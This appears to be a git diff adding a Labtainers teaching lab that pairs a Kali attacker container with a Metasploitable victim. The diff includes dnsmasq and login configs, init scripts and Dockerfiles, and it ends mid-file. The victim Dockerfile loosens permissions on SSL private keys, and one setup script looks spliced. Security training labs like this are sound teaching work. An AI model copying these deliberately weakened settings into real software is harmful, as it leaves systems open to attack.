+#dhcp-boot=tag:!gpxe,undionly.kpxe +#dhcp-boot=mybootimage + +# Encapsulated options for Etherboot gPXE. All the options are +# encapsulated within option 175 +#dhcp-option=encap:175, 1, 5b # priority code +#dhcp-option=encap:175, 176, 1b # no-proxydhcp +#dhcp-option=encap:175, 177, string # bus-id +#dhcp-option=encap:175, 189, 1b # BIOS drive code +#dhcp-option=encap:175, 190, user # iSCSI username +#dhcp-option=encap:175, 191, pass # iSCSI password + +# Test for the architecture of a netboot client. PXE clients are +# supposed to send their architecture as option 93. (See RFC 4578) +#dhcp-match=peecees, option:client-arch, 0 #x86-32 +#dhcp-match=itanics, option:client-arch, 2 #IA64 +#dhcp-match=hammers, option:client-arch, 6 #x86-64 +#dhcp-match=mactels, option:client-arch, 7 #EFI x86-64 + +# Do real PXE, rather than just booting a single file, this is an +# alternative to dhcp-boot. +#pxe-prompt="What system shall I netboot?" +# or with timeout before first available action is taken: +#pxe-prompt="Press F8 for menu.", 60 + +# Available boot services. for PXE. +#pxe-service=x86PC, "Boot from local disk" + +# Loads /pxelinux.0 from dnsmasq TFTP server. +#pxe-service=x86PC, "Install Linux", pxelinux + +# Loads /pxelinux.0 from TFTP server at 1.2.3.4. +# Beware this fails on old PXE ROMS. +#pxe-service=x86PC, "Install Linux", pxelinux, 1.2.3.4 + +# Use bootserver on network, found my multicast or broadcast. +#pxe-service=x86PC, "Install windows from RIS server", 1 + +# Use bootserver at a known IP address. +#pxe-service=x86PC, "Install windows from RIS server", 1, 1.2.3.4 + +# If you have multicast-FTP available, +# information for that can be passed in a similar way using options 1 +# to 5. See page 19 of +# http://download.intel.com/design/archives/wfm/downloads/pxespec.pdf + + +# Enable dnsmasq's built-in TFTP server +#enable-tftp + +# Set the root directory for files available via FTP. +#tftp-root=/var/ftpd + +# Do not abort if the tftp-root is unavailable +#tftp-no-fail + +# Make the TFTP server more secure: with this set, only files owned by +# the user dnsmasq is running as will be send over the net. +#tftp-secure + +# This option stops dnsmasq from negotiating a larger blocksize for TFTP +# transfers. It will slow things down, but may rescue some broken TFTP +# clients. +#tftp-no-blocksize + +# Set the boot file name only when the "red" tag is set. +#dhcp-boot=tag:red,pxelinux.red-net + +# An example of dhcp-boot with an external TFTP server: the name and IP +# address of the server are given after the filename. +# Can fail with old PXE ROMS. Overridden by --pxe-service. +#dhcp-boot=/var/ftpd/pxelinux.0,boothost,192.168.0.3 + +# If there are multiple external tftp servers having a same name +# (using /etc/hosts) then that name can be specified as the +# tftp_servername (the third option to dhcp-boot) and in that +# case dnsmasq resolves this name and returns the resultant IP +# addresses in round robin fasion. This facility can be used to +# load balance the tftp load among a set of servers. +#dhcp-boot=/var/ftpd/pxelinux.0,boothost,tftp_server_name + +# Set the limit on DHCP leases, the default is 150 +#dhcp-lease-max=150 + +# The DHCP server needs somewhere on disk to keep its lease database. +# This defaults to a sane location, but if you want to change it, use +# the line below. +#dhcp-leasefile=/var/lib/misc/dnsmasq.leases + +# Set the DHCP server to authoritative mode. In this mode it will barge in +# and take over the lease for any client which broadcasts on the network, +# whether it has a record of the lease or not. This avoids long timeouts +# when a machine wakes up on a new network. DO NOT enable this if there's +# the slightest chance that you might end up accidentally configuring a DHCP +# server for your campus/company accidentally. The ISC server uses +# the same option, and this URL provides more information: +# http://www.isc.org/files/auth.html +#dhcp-authoritative + +# Run an executable when a DHCP lease is created or destroyed. +# The arguments sent to the script are "add" or "del", +# then the MAC address, the IP address and finally the hostname +# if there is one. +#dhcp-script=/bin/echo + +# Set the cachesize here. +#cache-size=150 + +# If you want to disable negative caching, uncomment this. +#no-negcache + +# Normally responses which come from /etc/hosts and the DHCP lease +# file have Time-To-Live set as zero, which conventionally means +# do not cache further. If you are happy to trade lower load on the +# server for potentially stale date, you can set a time-to-live (in +# seconds) here. +#local-ttl= + +# If you want dnsmasq to detect attempts by Verisign to send queries +# to unregistered .com and .net hosts to its sitefinder service and +# have dnsmasq instead return the correct NXDOMAIN response, uncomment +# this line. You can add similar lines to do the same for other +# registries which have implemented wildcard A records. +#bogus-nxdomain=64.94.110.11 + +# If you want to fix up DNS results from upstream servers, use the +# alias option. This only works for IPv4. +# This alias makes a result of 1.2.3.4 appear as 5.6.7.8 +#alias=1.2.3.4,5.6.7.8 +# and this maps 1.2.3.x to 5.6.7.x +#alias=1.2.3.0,5.6.7.0,255.255.255.0 +# and this maps 192.168.0.10->192.168.0.40 to 10.0.0.10->10.0.0.40 +#alias=192.168.0.10-192.168.0.40,10.0.0.0,255.255.255.0 + +# Change these lines if you want dnsmasq to serve MX records. + +# Return an MX record named "maildomain.com" with target +# servermachine.com and preference 50 +#mx-host=maildomain.com,servermachine.com,50 + +# Set the default target for MX records created using the localmx option. +#mx-target=servermachine.com + +# Return an MX record pointing to the mx-target for all local +# machines. +#localmx + +# Return an MX record pointing to itself for all local machines. +#selfmx + +# Change the following lines if you want dnsmasq to serve SRV +# records. These are useful if you want to serve ldap requests for +# Active Directory and other windows-originated DNS requests. +# See RFC 2782. +# You may add multiple srv-host lines. +# The fields are ,,,, +# If the domain part if missing from the name (so that is just has the +# service and protocol sections) then the domain given by the domain= +# config option is used. (Note that expand-hosts does not need to be +# set for this to work.) + +# A SRV record sending LDAP for the example.com domain to +# ldapserver.example.com port 389 +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389 + +# A SRV record sending LDAP for the example.com domain to +# ldapserver.example.com port 389 (using domain=) +#domain=example.com +#srv-host=_ldap._tcp,ldapserver.example.com,389 + +# Two SRV records for LDAP, each with different priorities +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389,1 +#srv-host=_ldap._tcp.example.com,ldapserver.example.com,389,2 + +# A SRV record indicating that there is no LDAP server for the domain +# example.com +#srv-host=_ldap._tcp.example.com + +# The following line shows how to make dnsmasq serve an arbitrary PTR +# record. This is useful for DNS-SD. (Note that the +# domain-name expansion done for SRV records _does_not +# occur for PTR records.) +#ptr-record=_http._tcp.dns-sd-services,"New Employee Page._http._tcp.dns-sd-services" + +# Change the following lines to enable dnsmasq to serve TXT records. +# These are used for things like SPF and zeroconf. (Note that the +# domain-name expansion done for SRV records _does_not +# occur for TXT records.) + +#Example SPF. +#txt-record=example.com,"v=spf1 a -all" + +#Example zeroconf +#txt-record=_http._tcp.example.com,name=value,paper=A4 + +# Provide an alias for a "local" DNS name. Note that this _only_ works +# for targets which are names from DHCP or /etc/hosts. Give host +# "bert" another name, bertrand +#cname=bertand,bert + +# For debugging purposes, log each DNS query as it passes through +# dnsmasq. +#log-queries + +# Log lots of extra information about DHCP transactions. +#log-dhcp + +# Include another lot of configuration options. +#conf-file=/etc/dnsmasq.more.conf +#conf-dir=/etc/dnsmasq.d + +# Include all the files in a directory except those ending in .bak +#conf-dir=/etc/dnsmasq.d,.bak + +# Include all files in a directory which end in .conf +#conf-dir=/etc/dnsmasq.d/,*.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/sbin/faux_init new file mode 100755 index 000000000..86a2c49bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dhcp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +service dnsmasq start +/etc/init.d/mynotify.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.kali-test.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.kali-test.student new file mode 100644 index 000000000..4a2e0ff5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.kali-test.student @@ -0,0 +1,74 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.kali +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +RUN apt-get update && apt-get install -y --no-install-recommends isc-dhcp-client +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel +RUN mkdir /root/Desktop +RUN ln -s /home/$user_name/attacks /root/Desktop/attacks + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +#RUN systemctl enable mynotify +#RUN systemctl enable rc-local +#CMD ["/usr/sbin/init"] +# replace below with four above for centos +ENTRYPOINT sudo /sbin/faux_init $DISTRIBUTED_LABTAINER && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.victim.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.victim.student new file mode 100644 index 000000000..5736d2497 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/dockerfiles/Dockerfile.kali-test.victim.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.metasploitable +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN gpasswd -a postgres ssl-cert +RUN chown -R root:ssl-cert /etc/ssl/private +RUN chmod -R g+r /etc/ssl/private + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/sbin/init.real"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_bin/fixlocal.sh new file mode 100755 index 000000000..623ceb93c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_bin/fixlocal.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +newpwd=studentCLONE_NUM +user=$2 +/usr/bin/passwd $user <>/dev/null +#result=$? +#if [[ $result -eq 0 ]]; then +# #echo "is root" +# rm -f /var/run/nologin +# while [ 1 ]; do +# trap login SIGINT +# /bin/login +# done +#fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/init.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/init.d/rc.local new file mode 100755 index 000000000..43fcd3f52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/init.d/rc.local @@ -0,0 +1,43 @@ +#! /bin/sh +### BEGIN INIT INFO +# Provides: rc.local +# Required-Start: $all +# Required-Stop: +# Default-Start: 2 3 4 5 +# Default-Stop: +# Short-Description: Run /etc/rc.local if it exist +### END INIT INFO + + +PATH=/sbin:/usr/sbin:/bin:/usr/bin + +. /lib/init/vars.sh +. /lib/lsb/init-functions + +do_start() { + if [ -x /etc/rc.local ]; then + [ "$VERBOSE" != no ] && log_begin_msg "Running local boot scripts (/etc/rc.local)" + /etc/rc.local + ES=$? + [ "$VERBOSE" != no ] && log_end_msg $ES + return $ES + fi +} + +case "$1" in + start) + do_start + ;; + restart|reload|force-reload) + echo "Error: argument '$1' not supported" >&2 + exit 3 + ;; + stop|status) + # No-op + exit 0 + ;; + *) + echo "Usage: $0 start|stop" >&2 + exit 3 + ;; +esac diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE 